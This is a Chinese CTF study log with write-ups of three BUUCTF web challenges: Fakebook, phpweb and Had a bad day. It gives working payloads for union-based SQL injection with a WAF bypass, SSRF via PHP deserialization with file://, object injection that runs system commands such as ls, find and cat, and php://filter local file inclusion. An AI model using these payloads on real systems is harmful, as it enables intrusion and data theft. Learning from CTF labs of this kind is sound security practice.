第11天
Web(共3题)
[网鼎杯 2018]Fakebook
打开是一个注册登录页面,包括用户、年龄和博客地址
查看题解知道存在robots.txt
访问http://c1392d44-63c3-4152-bf7e-89513eff1152.node5.buuoj.cn:81/robots.txt
:
User-agent: *
Disallow: /user.php.bak
再访问下载user.php.bak
查看该文件内容:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这里可以通过curl_exec($ch)
进行SSRF
,读取任意文件
但是这里先把得到的文件内容放在一边,我们尝试在网站里注册一个用户
点击蓝色字样的admin
通过题解得知,上面URL的?no=1
可以注入
尝试:
?no = 1 order by 4
正常回显
?no = 1 order by 5
错误回显
说明是4列
接着尝试:
no=-1 union/**/select 1,2,3,4
网站WAF过滤了union select
,所以用/**/
代替空格
网站用户名处回显2,并且报错提示有反序列化函数
然后尝试爆表名:
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
username
显示users
,说明表名为users
爆列名:
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
爆字段:
/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
1 //id列
admin //用户名列
74a49c698dbd3c12e36b0b287447d833f74f3937ff132ebff7054baa18623c35a705bb18b82e2ac0384b5127db97016e63609f712bc90e3506cfbea97599f46f //密码列
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:8:"blog.com";} //博客地址列
这里我们发现前三列都比较正常,但是数据库存储的博客地址是经过序列化后的数据,结合上面得到的user.php.bak
,我们可以推测解题点就在于博客地址段的反序列化操作
根据题解,flag就在/var/www/html/flag.php
构造PHP序列化代码:
<?php
class UserInfo
{
public $name = "amdin";
public $age = 11;
public $blog="file:///var/www/html/flag.php";
}
$res = new UserInfo();
echo serialize($res);
序列化结果:O:8:"UserInfo":3:{s:4:"name";s:5:"amdin";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
我们构造SQL使得页面返回flag.php文件(直接查询序列化结果就会返回它):
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"amdin";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源代码得到flag
该题其他题解:
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
因为SQL没有过滤load_file
,直接取得flag
[网鼎杯 2020 朱雀组]phpweb
打开后是一个奇怪的网页,页面会不断刷新而且左下角会实时显示时间
F12后发现两个被隐藏的POST参数,一个是func
,一个是p
,并且分别被设为date
,Y-m-d h:i:s a
经过查询得知date
是PHP的一个函数,而Y-m-d h:i:s a
是该函数的一个参数,用于输出指定格式的本地时间,因此猜测可以通过func
和p
进行命令执行
先尝试func=system&p=ls
,作用是执行ls命令
但是被检测到了,说明system
或ls
被过滤了
这里尝试获取该页面的源代码,查看题解,file_get_contents()
可以查看文件内容并且没有被网站过滤
因此构造func=file_get_contents&p=index.php
成功获取源代码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source",
"phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd",
"escapeshellarg","assert","substr_replace","call_user_func_array",
"call_user_func","array_filter", "array_walk","array_map","registregister_shutdown_function",
"register_tick_function","filter_var", "filter_var_array", "uasort", "uksort",
"array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以看到网站过滤了相当多的命令,但是没有过滤unserialize()
函数,因此我们可以利用反序列化在网站内部传递func
和p
参数,从而进行绕过检测
构造序列化代码:
<?php
class Test {
var $func = "system";
var $p = "ls /";
}
$test = new Test();
$str = serialize($test);
print($str);
?>
序列化结果:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
构造POST:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
执行成功
接下来是找到flag的位置,可以使用find / -name flag*
命令
(用于在文件系统的根目录 / 下搜索所有名称以 flag 开头的文件或目录)
构造序列化代码:
<?php
class Test {
var $func = "system";
var $p = "find / -name flag*";
}
$test = new Test();
$str = serialize($test);
print($str);
?>
序列化结果:O:4:“Test”:2:{s:1:“p”;s:18:“find / -name flag*”;s:4:“func”;s:6:“system”;}
由于空格无法在URL中传输,因此需要将序列化后的find / -name flag*
中/
前后的的空格替换成+
:
O:4:"Test":2:{s:1:"p";s:18:"find+/+-name flag*";s:4:"func";s:6:"system";}
传递后得到包含flag的文件:
经过测试,flag就藏在/tmp/flagoefiu4r93
中
最后构造序列化代码:
<?php
class Test {
var $func = "system";
var $p = "cat /tmp/flagoefiu4r93";
}
$test = new Test();
$str = serialize($test);
print($str);
?>
序列化结果:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
构造POST:func=unserialize &p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
成功拿到flag
[BSidesCF 2020]Had a bad day
打开网站发现有两个选项
点击不同的选项上方的url中的?category=meowers
会跟着发生变化,例如猫的图片就是meowers
这里尝试改成?category=index.phpindex.php
,但是url变成了?category=index.phpindex.php
说明网站会自动给我们加上.php后缀
那就直接?category=index
发现打不开,尝试?category=php://filter/read=convert.base64-encode/resource=index
(这里也要去掉多余的.php后缀)
成功拿到源码:
解码后PHP部分代码:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
分析代码知道传入的category
需要有woofers
,meowers
,index
字样才能包含传入以传入名为文件名的文件
Payload: ?category=php://filter/read=convert.base64-encode/index/resource=flag
成功拿到flag